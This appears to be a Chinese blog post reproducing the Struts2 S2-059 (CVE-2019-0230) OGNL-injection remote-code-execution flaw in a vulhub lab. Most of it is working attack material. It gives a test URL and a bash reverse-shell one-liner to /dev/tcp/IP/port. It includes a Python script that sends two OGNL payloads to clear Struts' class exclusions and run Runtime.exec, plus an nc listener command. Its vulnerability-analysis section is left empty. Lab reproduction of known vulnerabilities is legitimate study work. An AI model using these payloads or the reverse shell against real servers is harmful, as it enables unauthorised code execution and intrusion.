Loading

CVE-2019-0230 S2-059复现

0X00-引言


study hard and make progress

0X01-环境搭建


靶机:CentOS Linux 7

攻击机:windows server 2016 && Kail

环境:vulhub

项目地址:https://github.com/vulhub/vulhub

搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)

0X02-漏洞描述


攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

影响版本: Struts 2.0.0 - Struts 2.5.20

0X03-漏洞复现


http://192.168.234.128:8080/?id=%25{3*7}

image-20211207170809631

01-反弹shell

bash -i >& /dev/tcp/IP/port 0>&1

base64编码网址:http://www.jackson-t.ca/runtime-exec-payloads.html

image-20211207171220495

python脚本:

import requests

url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

修改url

image-20211207171837411

修改data2中的exec()中内容,是通过网页base64编码的内容

image-20211207171935851

先开启监听在执行脚本

nc -lvvp 1234

image-20211207172104367

执行脚本

image-20211207172125405

监听成功

image-20211207172157080

0X04-漏洞分析


略,看懂源码后再搞

0X05-参考


struts2 s2-059漏洞复现

Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)

posted @ 2021-12-07 23:10  美式加糖  阅读(196)  评论(0)    收藏  举报